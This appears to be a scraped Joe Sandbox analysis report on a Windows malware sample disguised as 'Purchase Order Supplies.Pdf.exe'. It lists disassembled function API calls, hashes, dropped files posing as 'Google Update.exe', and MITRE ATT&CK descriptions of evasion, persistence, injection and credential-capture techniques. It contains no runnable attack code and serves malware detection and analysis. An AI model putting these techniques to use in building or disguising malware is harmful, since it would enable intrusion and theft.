
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00CF849F
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00CF84B2

Part of subcall function 00CD8355: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00CD83CD

Strings

Shell_TrayWnd, xrefs: 00CF8498

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 2350922385cbff208aa0d3418710ae29e137769812c192801a641be9d95c5635
Instruction ID: b2f142f468d052a0ca2d296bb5899990668c75e2e9a3db05bf1c2be341a986a5
Opcode Fuzzy Hash: 2350922385cbff208aa0d3418710ae29e137769812c192801a641be9d95c5635
Instruction Fuzzy Hash: 9FD0A932384324BBE620A330AC0BFD67A05AB14B00F000829B30AAA2D0CEA0A804C230

Function 00CDD009 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 00CDD01E
GetTempFileNameW.KERNEL32(?,aut,00000000,?), ref: 00CDD035

Strings

aut, xrefs: 00CDD02F

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: efe8a4ab0c3b310c16210f757e6e36d6a517c686540de5eea68cf6db9e9ed7c0
Instruction ID: 45d32e48da618c63d94e4034329d0f0a96742b41553426876936e7a22914fb66
Opcode Fuzzy Hash: efe8a4ab0c3b310c16210f757e6e36d6a517c686540de5eea68cf6db9e9ed7c0
Instruction Fuzzy Hash: C7D05EB554030EBBDB10ABA0ED0EF99776CA704704F1081907624D50D1D7B4D64A8BB4

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Purchase Order Supplies.Pdf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\KKRBIX.vbs

C:\Users\user\AppData\Roaming\Windata\Google Update.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Windows Analysis Report
Purchase Order Supplies.Pdf.exe

Function 00C9374E Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 145
windowCOMMON

Function 00CF30AD Relevance: 16.9, APIs: 11, Instructions: 397
registryCOMMON

Function 00C929C2 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
timewindowregistryCOMMON

Function 00CD76DB Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 178
COMMON

Function 00C91F04 Relevance: 30.1, APIs: 8, Strings: 9, Instructions: 346
COMMON

Function 00CF352A Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477
registryCOMMON

Function 00C94257 Relevance: 19.5, APIs: 4, Strings: 7, Instructions: 235
COMMON

Function 00CD78EE Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72
networkCOMMON

Function 00CAE975 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 170
COMMON

Function 00C930A5 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 66
windowregistryCOMMON

Function 00CEB74B Relevance: 15.3, APIs: 10, Instructions: 324
fileCOMMON

Function 00C92F58 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 53
registrywindowclipboardCOMMON

Function 00CF23C5 Relevance: 13.9, APIs: 9, Instructions: 376
processCOMMON

Function 00CEC8B7 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 401
COMMON

Function 00CEBF80 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 264
COMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre